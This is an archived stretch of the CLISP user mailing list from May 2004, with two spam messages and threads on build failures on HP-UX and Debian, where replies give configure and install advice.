AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0006_00002E68.00002544-- From rachel@public.qz.fj.cn Tue May 18 12:10:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BQ9zH-0006g2-G7 for clisp-list@lists.sourceforge.net; Tue, 18 May 2004 12:10:51 -0700 Received: from [218.66.192.157] (helo=public.qz.fj.cn) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BQ9zF-0001Uj-JT for clisp-list@lists.sourceforge.net; Tue, 18 May 2004 12:10:50 -0700 From: "rachel" To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="US-ASCII" Content-Transfer-Encoding: 8bit Reply-To: rachel@public.qz.fj.cn X-Priority: 2 X-Mailer: Foxmail 5.0 beta2 [cn] Message-ID: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re:leading apparel & bag manufacturer in China Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 18 12:11:13 2004 X-Original-Date: Wed, 19 May 2004 03:10:43 +0800 Dear Manager, I have the pleasure to know your esteemed Corp. We are the leading and professional manufacturer of apparel & bag in Quanzhou, China. The following is some introductions about our company. Set up: 1988 Employees: 1600 persons Output: 5.1 million pcs/year Our products include: babywear,men and lady's underwear,children wear,T-shirts,knitwear,sportwear,baby bag, mammy(diaper) bag,backpack,travel bag,sport bag,duffel bag,saddlebag,trolley,suitcase,camera bag,shopping bag, school bag, computer case, luggage, workbag, promotional bag, etc. We have advanced equipments and technologies which were learned and imported from German and other advanced countries. We still have experienced management system, seasoned workmanship, complete service and strong economic capacity. Our goods have met a great favor in Europe, America, Japan and other counties because of their slap-up quality, beautiful design and gratifying price. With the philosophy "quality, service, integrity, and environmental consciousness", We would like to welcome customers all over the world to establish business relations with us. Welcome to visit our company or contact with us for more information. Yours sincerely Rachel Mob:0086-13960286700 ---------------------------------------------------------- SENWER GARMENTS CO., LTD. ADD.: Wancheng Ge 516, Citong Road, Quanzhou, China. Tel: 0086-595-2216499 Fax: 0086-595-2214455 P.C.:362000 ---------------------------------------------------------- From sds@gnu.org Thu May 20 06:30:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BQnck-0000SH-61 for clisp-list@lists.sourceforge.net; Thu, 20 May 2004 06:30:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BQncj-0002at-M4 for clisp-list@lists.sourceforge.net; Thu, 20 May 2004 06:30:13 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4KDU4MF023252; Thu, 20 May 2004 09:30:05 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Thomas F. Burdick" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16546.61368.178743.35566@famine.OCF.Berkeley.EDU> (Thomas F. Burdick's message of "Wed, 12 May 2004 20:47:04 -0700") References: <16546.61368.178743.35566@famine.OCF.Berkeley.EDU> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Thomas F. Burdick" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: slot-makunbound-using-class Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 20 06:31:06 2004 X-Original-Date: Thu, 20 May 2004 09:30:04 -0400 > * Thomas F. Burdick [2004-05-12 20:47:04 -0700]: > > Grepping through the source, I found remnants of s-m-u-c, but it's > commented out. Would there be interest among the CLISP maintainers in > supporting it? As usual, PTC . Note that the impatient should look at the CVS HEAD file clisp/src/NEWS for a preview of new features. The _extra_ impatient should look at clisp/src/ChangeLog. -- Sam Steingold (http://www.podval.org/~sds) running w2k 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From send@juviocenter.com Fri May 21 09:53:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BRDHC-0000j3-RJ for clisp-list@lists.sourceforge.net; Fri, 21 May 2004 09:53:42 -0700 Received: from juviocenter.com ([69.0.163.155]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BRDHC-0003Vb-A9 for clisp-list@lists.sourceforge.net; Fri, 21 May 2004 09:53:42 -0700 Received: from juviocenter.com [66.179.0.134] by juviocenter.com with ESMTP (SMTPD32-8.05) id A4587590134; Fri, 21 May 2004 12:54:48 -0400 Message-ID: <189350-220045521165456281@juviocenter.com> Reply-To: matthew@juvio.com From: "Matthew Janus" To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 TO_ADDRESS_EQ_REAL To: repeats address as real name 0.8 REMOVE_PAGE URI: URL of page called "remove" 0.0 CLICK_BELOW Asks you to click below Subject: [clisp-list] New website traffic Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 21 09:54:09 2004 X-Original-Date: Fri, 21 May 2004 09:54:56 -0700 Hello, Within the last week, you have had visitors to http://clisp.sourceforge.net/ that found your website on the Juvio Search Engine. (http://www.juvio.com) Juvio offers its visitors a safe way to search the Internet, and lists only sites that meet our family-friendly guidelines. While your site is currently listed with Juvio, you do not yet have top listing on our search engine. To gain top listing and increase your website’s traffic, you may become a Premium Member of Juvio. Additional benefits to becoming a Premium Member include: * Performance-based, pay per click pricing * Keyword targeted results * Account managers, ready to help optimize your campaign * No minimum spending requirements * A cost-per-click often more than 50% lower than competitors Becoming a Premium Member takes just a few minutes, but has lasting results. To find our more information about becoming a Premium Member, or to become listed today, please click below: http://www.juvio.com/search/login.asp?email=clisp%2Dlist%40lists%2Esourcefor ge%2Enet Login: clisp-list@lists.sourceforge.net Password: D9CCD8 You may also reach me directly. I look forward to seeing your website on the top of our search engine. Matthew Janus Senior Account Executive 8910 University Center Lane San Diego, CA 92122 P: 858-452-7959 ext. 413 matthew@juvio.com __________________________________________________________ This e-mail is being sent to you for the purpose of discussing business development opportunities between our respective companies. If you would prefer not to receive any additional e-mail information from me in the future, please go to this url http://www.juvio.com/remove.asp Please allow a reasonable response time not to exceed three (3) business days from which you will be removed from my e-mail database and you will no longer receive e-mail communications from me. I work for Juvio and we may be reached by mail at 8910 University Center Lane #100, San Diego, CA 92122. *Please note that Juvio.com does not use email lists to contact their potential partners. I personally visited your website and chose it as one that could benefit greatly from the services we offer. If you do not want to be contacted further, please reply to my email with “not interested” in the subject line. From A.Nuzzo@motorola.com Mon May 24 05:29:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSEaX-0005t3-Sh for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 05:29:53 -0700 Received: from motgate8.mot.com ([129.188.136.8]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSEaX-0004qF-5U for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 05:29:53 -0700 Received: from il06exr03.mot.com (il06exr03.mot.com [129.188.137.133]) by motgate8.mot.com (Motorola/Motgate3) with ESMTP id i4OCUEbL004433 for ; Mon, 24 May 2004 05:30:14 -0700 (MST) Received: from il02exm10.corp.mot.com (il02exm10.corp.mot.com [10.0.111.21]) by il06exr03.mot.com (Motorola/il06exr03) with ESMTP id i4OCTXv4014793 for ; Mon, 24 May 2004 07:29:39 -0500 Received: by il02exm10 with Internet Mail Service (5.5.2657.72) id ; Mon, 24 May 2004 07:29:33 -0500 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" X-Mailer: Internet Mail Service (5.5.2657.72) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Problem compiling on hp-ux 11.11 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 05:30:13 2004 X-Original-Date: Mon, 24 May 2004 07:29:33 -0500 I am having a problem compliling clisp-2.33 on hp-ux 11.11. It will get all the way to the point where it tries to run lisp.run and then coredumps: chmod +w config.lisp echo '(setq *clhs-root-default* " http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" make: *** [interpreted.mem] Bus error (core dumped) I am using gcc version 3.2. Any Ideas? Thanks, Art Nuzzo From hall.cj@verizon.net Mon May 24 06:05:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSF8v-0004mJ-Dj for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:05:25 -0700 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSF8u-0004aP-9E for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:05:24 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out002.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040524130521.PDYD9273.out002.verizon.net@naia.homelinux.net> for ; Mon, 24 May 2004 08:05:21 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BSF8q-00019b-00 for ; Mon, 24 May 2004 03:05:20 -1000 To: clisp-list@lists.sourceforge.net X-GPG-Fingerprint: 32EA 90A5 8C01 5755 3847 2AFE AD9C B8E7 93E2 83A4 X-Operating-System: Debian GNU/Linux From: Chris Hall Message-ID: <874qq6asca.fsf@naia.homelinux.net> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [4.64.145.131] at Mon, 24 May 2004 08:05:21 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 06:06:05 2004 X-Original-Date: Mon, 24 May 2004 03:05:09 -1000 --=-=-= I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too many hours on a Sunday trying to build some version, any version, of clisp. I need to use regexes, and the default clisp install on Debian doesn't seem to support them, when invoked either by 'clisp' *or* 'clisp -K full' it doesn't show up in *features*. (BTW, the same goes for the FreeBSD 4.9 clisp). If I try to use one of the functions, I get an error. So, I downloaded the latest source, libsigsegv, etc., followed directions, and got a SIGSEGV error during the build (something about 0x10a not in [...]). Searched Google and got 14 results - none useful to me at all, but I *did* notice the clisp 'help wanted' page asking for help on this issue. Sorry folks - that is way, _way_ over my head. Tried building w/o libsigsegv, but just got a totally different fatal SIGSEGV error again during the build. 'K - let's try another version. Next I downloaded 2.29, configure, makemake, edit, etc., etc., etc. I got the error below, so I hit Google, the Gmane general list and a few years of the Sourceforge mailing lists - all I found was a hint of a related Debian problem in a January 2004 message from Luke Gorrie on the Sourceforge list, but no resolution. Fiddled around some more, changed some things, rm-rf'ed, unpacked, re-configured and built a few more times trying different things, finally tried building as root, all to no avail. Everytime, it is sooooo close - 'make check' works just fine, but su over to root and 'make install' bombs (see below). Hmmmm. OK, so I get the Debian stable source package (now we are at version 2.27) and start looking through diffs figuring 'hey, they got it built somehow', because I can 'apt-get install' the default-but-insufficient-for-my-purposes build. Sure enough, way deep in the (rather large) Debian diffs is a reference to Debian not handling the symbolic links in the way the Makefile seems to expect. To be honest, at this point, I don't spend the time to figure out exactly what Debian did, or why - it has by now been a long day and I just want to get to work on my regexes (I'm using guile and gawk until I can port to clisp). So I apply the diffs, they work fine, configure, makemake, edit, make check. Builds fine, as it did all the other times for 2.29 and earlier. But when I try to install, same *exact* error. I must either be doing something really silly (or maybe there is something missing from my Debian?) - surely a GNU lisp shouldn't be so difficult to build on Debian GNU/Linux? If it is any help, I *can* build and install the latest GCL, no problem - I have done so several times recently. I've also successfully built and installed recent Python and Postgres, and a few other things - all without a problem. Does anybody have any suggestions or ideas, maybe a link or two? Thanks, g'nite, +Chris P.S. For some reason directories linkkit, base, full, and clisp-link do *not* seem to exist anywhere in the build tree. How did we get this far in the build without what appear to be the output directories? All I can think of is that an error somehow went undetected/unhandled by make. ----------------( /usr/local/lib/clisp *after* naia:~/lisp/clisp-2.27/src# ls -lR /usr/local/lib/clisp/ /usr/local/lib/clisp/: total 16 drwxr-sr-x 2 root staff 4096 May 24 01:19 base drwxr-sr-x 2 root staff 4096 May 24 01:19 data drwxr-sr-x 2 root staff 4096 May 24 01:19 full drwxr-sr-x 2 root staff 4096 May 24 00:33 linkkit /usr/local/lib/clisp/base: total 0 /usr/local/lib/clisp/data: total 1160 -rw-r--r-- 1 root staff 1134578 May 24 01:19 UnicodeData.txt -rw-r--r-- 1 root staff 45476 May 24 01:19 clhs.txt /usr/local/lib/clisp/full: total 0 /usr/local/lib/clisp/linkkit: total 92 -rw-r--r-- 1 root staff 81913 May 24 00:33 clisp.h -rw-r--r-- 1 root staff 1983 May 24 00:33 modules.c -rw-r--r-- 1 root staff 1943 May 24 00:33 modules.d ----------------( 'make install' output naia:~/lisp/clisp-2.27/src# make install if [ ! -d /usr/local ] ; then mkdir /usr/local ; fi if [ ! -d /usr/local ] ; then mkdir /usr/local ; fi if [ ! -d /usr/local/lib ] ; then mkdir /usr/local/lib ; fi if [ ! -d /usr/local/lib/clisp ] ; then mkdir /usr/local/lib/clisp ; fi if [ ! -d /usr/local/lib/clisp/data ] ; then mkdir /usr/local/lib/clisp/data ; fi /usr/bin/install -c -m 644 data/UnicodeData.txt /usr/local/lib/clisp/data/UnicodeData.txt /usr/bin/install -c -m 644 data/clhs.txt /usr/local/lib/clisp/data/clhs.txt if [ ! -d /usr/local/lib/clisp/linkkit ] ; then mkdir /usr/local/lib/clisp/linkkit ; fi (cd /usr/local/lib/clisp && rm -rf base full) mkdir /usr/local/lib/clisp/base mkdir /usr/local/lib/clisp/full for f in clisp-link linkkit/modules.d linkkit/modules.c linkkit/clisp.h base/* full/*; do \ case $f in \ */lisp.run) /usr/bin/install -c $f /usr/local/lib/clisp/$f;; \ *) /usr/bin/install -c -m 644 $f /usr/local/lib/clisp/$f;; \ esac; \ done /usr/bin/install: cannot stat `clisp-link': No such file or directory /usr/bin/install: cannot stat `linkkit/modules.d': No such file or directory /usr/bin/install: cannot stat `linkkit/modules.c': No such file or directory /usr/bin/install: cannot stat `linkkit/clisp.h': No such file or directory /usr/bin/install: cannot stat `base/*': No such file or directory /usr/bin/install: cannot stat `full/*': No such file or directory make: *** [install-bin] Error 1 -- What is life? It is the flash of a firefly in the night. It is the breath of a buffalo in the wintertime. It is the little shadow which runs across the grass and loses itself in the sunset. --- Crowfoot's last words (1890), Blackfoot warrior and orator. --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQBAsfMQrZy455Pig6QRAkZeAJsEUfVjAqPcaYf5+2HGqXooW508hACeMcB7 FGSSU9eSh7xkn5K8KOMPh5k= =wOcu -----END PGP SIGNATURE----- --=-=-=-- From sam@jovi.net Mon May 24 06:27:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSFUZ-0000Qc-Ce for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:27:47 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BSFUY-0001F9-WB for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:27:47 -0700 Received: from jovi.net (h000d8885caee.ne.client2.attbi.com [24.61.252.65]) by grant.org (8.12.9p2/8.12.9) with ESMTP id i4ODRLqR010771 for ; Mon, 24 May 2004 09:27:21 -0400 (EDT) (envelope-from sam@jovi.net) Mime-Version: 1.0 (Apple Message framework v553) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Sam P To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.553) X-Virus-Scanned: by amavisd-new X-DCC-xmailer-Metrics: grant.org 1192; Body=1 Fuz1=1 Fuz2=1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Is it possible for someone over there to make a binary distribution? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 06:28:05 2004 X-Original-Date: Mon, 24 May 2004 09:26:38 -0400 Is it possible for someone over there to make a binary distribution of the latest Clisp 2.33 for the Mac OSX 10.2.8? I have been trying for months to get this working on here and I get all kinds of bull crap errors. I have had it working on this same computer with an earlier version of OSX 10.2 about a year and a half ago and I do not remember how I got it working. I am sick of trying all this stuff. I just want to write some Clisp code. Can someone over there please help me out? Sam From hin@van-halen.alma.com Mon May 24 06:41:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSFhw-0002l9-Ne for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:41:36 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSFhv-0005iC-1q for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:41:35 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id C844F10E03C; Mon, 24 May 2004 09:41:30 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i4ODfUua023588; Mon, 24 May 2004 09:41:30 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i4ODfUBB023585; Mon, 24 May 2004 09:41:30 -0400 Message-Id: <200405241341.i4ODfUBB023585@van-halen.alma.com> From: "John K. Hinsdale" To: hall.cj@verizon.net Cc: clisp-list@lists.sourceforge.net In-reply-to: <874qq6asca.fsf@naia.homelinux.net> (message from Chris Hall on Mon, 24 May 2004 03:05:09 -1000) Subject: Re: [clisp-list] Build problem on Debian X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 06:42:07 2004 X-Original-Date: Mon, 24 May 2004 09:41:30 -0400 > I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too > many hours on a Sunday trying to build some version, any version, of Chris welcome to the CLISP and Debian club. Just like Debian itself, happily it can always be MADE to work, but ... w.r.t. build issues. The thing that works for me generally is to download the most recent release, or the CVS head, and build from source; I always do the configure and build in one step w/ ./configure ... --build mydir > So, I downloaded the latest source, libsigsegv, etc., followed > directions, a couple pieces of info would help here: exactly what file did you get as "latest source", i.e., is it "clisp-2.33.tar.gz" or equivalent? And what did you end doing after "followed directions" i.e., what actual commands were done for "./configure" and to build. which GCC you are using is also a good thing to post as CLISP can be somewhat picky about the GCC version. But the naem of the source distro. file and the config/build commands will be essential in getting helping from the list here ... > Next I downloaded 2.29, configure, makemake, edit, etc., etc., etc. I In my experience I have not found it productive to backtrack to older versions' source releases, the reaons being tha the newer versions tend to fix many more problems than they create. Time's better spent figuring out what the problem buliding the latest release. This is true of all packages not jsut CLISP. Also, not being able to build the latest release bodes ill for being able to upgrade in the future. > I must either be doing something really silly (or maybe there is Maybe ;) ... you need to post the commands you used tho. Suggest you try ./confgure with "--build" and skip all the "makemake" stuff > surely a GNU lisp shouldn't be so difficult to build on Debian > GNU/Linux? I am shocked that anything would be difficult on Debian. ;) > Does anybody have any suggestions or ideas, maybe a link or two? For me the "configure ... --build" > How did we get this far in the build without what appear to be the > output directories? All I can think of is that an error somehow went > undetected/unhandled by make. Before runnign "make install" and checking the final system-wide installation directories, I find it useful to do a test of the CLISP in the build area. Locate the directory "full" which shoudl have the files "lisp.run" and "lispinit.mem" in it. E.g.: cd /path/to/clisp-2.33/build-dir/full ./lisp.run -M lispinit.mem This lisp should have all the compiled-in features you wanted. If not, then what you have in the build area shoudl not be installed. > ----------------( 'make install' output The "make install" output is not so useful without first knowing if you were able to get to a point where you have the "full" directory w/ the files "lisp.run" and "lispinit.mem" WARNING: I am not an expert on building CLISP however I do manage to eventually get it built under Debian, so I can probably assist. I run two commands to build CLISP. The first is: ./configure \ --with-readline \ --with-dynamic-ffi \ --with-dynamic-modules \ --with-export-syscalls \ --with-module=wildcard \ --with-module=regexp \ --with-module=bindings/glibc \ --with-module=oracle \ --with-module=fastcgi \ --with-module=syscalls \ --build mysrc This does the config and build all in one step, leaving the build in a subdirectory called "mysrc". You will probably want to leave out most of the --with-module args. To check it worked I do cd /path/to/clisp-2.nn/mysrc/full ./lisp.run -M lispinit.mem and make sure it has the features, behaves properly, etc. To install, I then just do cd /path/to/clisp-2.nn/mysrc make install Note: if you want to re-run the configure with --build you FIRST need to remove the old build area: cd /path/to/clisp-2.nn rm -rf mysrc this is somewhat non-obvious IMHO. Good luck, send more info and we will see if we can get it built, and then you can get some real work done ;) --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From edi@agharta.de Mon May 24 06:59:44 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSFzU-0006D7-Df for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:59:44 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSFzT-0001bi-V2 for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 06:59:44 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 8CD831DF49; Mon, 24 May 2004 15:59:47 +0200 (CEST) To: Chris Hall Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problem on Debian Reply-To: edi@agharta.de References: <874qq6asca.fsf@naia.homelinux.net> From: Edi Weitz In-Reply-To: <874qq6asca.fsf@naia.homelinux.net> (Chris Hall's message of "Mon, 24 May 2004 03:05:09 -1000") Message-ID: <87y8niylgs.fsf@agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 24 07:00:15 2004 X-Original-Date: Mon, 24 May 2004 15:59:47 +0200 On Mon, 24 May 2004 03:05:09 -1000, Chris Hall wrote: > I need to use regexes, and the default clisp install on Debian > doesn't seem to support them [snip] > Does anybody have any suggestions or ideas, maybe a link or two? apt-get -t testing install cl-ppcre :) Edi. From sds@gnu.org Mon May 24 07:31:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSGTy-0003X2-8p for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 07:31:14 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BSGTy-00008h-2C for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 07:31:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.30) id 1BSNBQ-0005By-Rr for clisp-list@lists.sourceforge.net; Mon, 24 May 2004 14:40:33 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4OEU0pT004398; Mon, 24 May 2004 10:30:00 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Nuzzo Art-CINT's message of "Mon, 24 May 2004 07:29:33 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.6 (/) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: > * Nuzzo Art-CINT116 [2004-05-24 07:29:33 -0500]: > > I am having a problem compliling clisp-2.33 on hp-ux 11.11. > > It will get all the way to the point where it tries to run lisp.run > and then coredumps: > > chmod +w config.lisp > echo '(setq *clhs-root-default* " http://www.lisp.org/HyperSpec/")' >> config.lisp > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > make: *** [interpreted.mem] Bus error (core dumped) > > I am using gcc version 3.2. [...] Content analysis details: (0.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 